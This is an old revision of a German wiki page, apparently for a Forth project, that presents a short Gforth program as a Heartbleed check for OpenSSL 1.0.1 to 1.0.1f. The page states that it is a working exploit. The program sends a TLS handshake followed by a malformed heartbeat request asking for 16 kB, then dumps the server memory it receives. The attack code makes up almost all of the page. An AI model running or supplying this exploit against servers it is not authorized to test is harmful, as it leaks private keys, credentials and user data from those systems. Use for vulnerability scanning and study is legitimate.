Benutzer-Werkzeuge

Webseiten-Werkzeuge


examples:heartbleed

**Dies ist eine alte Version des Dokuments!**

Heartbleed Check

Im OpenSSL von Version 1.0.1 bis 1.0.1f (ohne g) war eine ernste Lücke, die hier mit einem kurzen Programm demonstiert wird (das ist ein funktionierender Exploit!):

\ heartbleed check                                   11apr2014py
 
require unix/socket.fs
 
Create TLS-header
$16 c, $03 c, $02 c, $00 c, $31 c, \ TLS Header
$01 c, $00 c, $00 c, $2d c, \ Handshake header
$03 c, $02 c, \ ClientHello field: version number (TLS 1.1)
here  32 allot \ ClientHello field: random
$00 c, \ ClientHello field: session id
$00 c, $04 c, \ ClientHello field: cipher suite length
$00 c, $33 c, $c0 c, $11 c, \ ClientHello field: cipher suite(s)
$01 c, \ ClientHello field: compression support, length
$00 c, \ ClientHello field: compression support, no compression (0)
$00 c, $00 c, \ ClientHello field: extension length (0)
 
here TLS-header - Constant header#
 
Constant random32
 
Create TLS-heartbleed
$18 c, $03 c, $02 c, $00 c, $03 c, \ TLS header
$01 c, $40 c, $00 c, \ heartbleed request, 16kB (maximum for OpenSSL)
 
here TLS-heartbleed - Constant heartbleed#
 
: >random ( -- )
    utime $1000000 um/mod nip random32 be-l!
    s" /dev/urandom" r/o open-file throw >r
    random32 4 + 28 r@ read-file throw drop r> close-file throw ;
 
Create pollfds pollfd %size allot
 
Variable buggy?
 
: get-heartbleed ( addr u port -- )
    1000000 set-socket-timeout
    >random
    open-socket >r  r@ fileno pollfds fd l!  POLLIN pollfds events w!
    TLS-header header# r@ write-socket
    BEGIN  r@ pad $10000 read-socket nip 0=  UNTIL
    TLS-heartbleed heartbleed# r@ write-socket
    BEGIN  r@ pad $10000 read-socket dup  WHILE  dump buggy? on  REPEAT  2drop
    r> close-socket
    buggy? @  IF  ." Heartbleed deteckted"  ELSE  ." Everything ok"  THEN  cr ;
 
script? [IF]
    : ?nextarg ( -- addr u noarg-flag )
	argc @ 1 > IF  next-arg true  ELSE  false  THEN ;
 
    ?nextarg drop ?nextarg [IF] s>number drop [ELSE] 443 [THEN] get-heartbleed bye
[THEN]
examples/heartbleed.1397230509.txt.gz · Zuletzt geändert: 2014-04-11 17:35 von bernd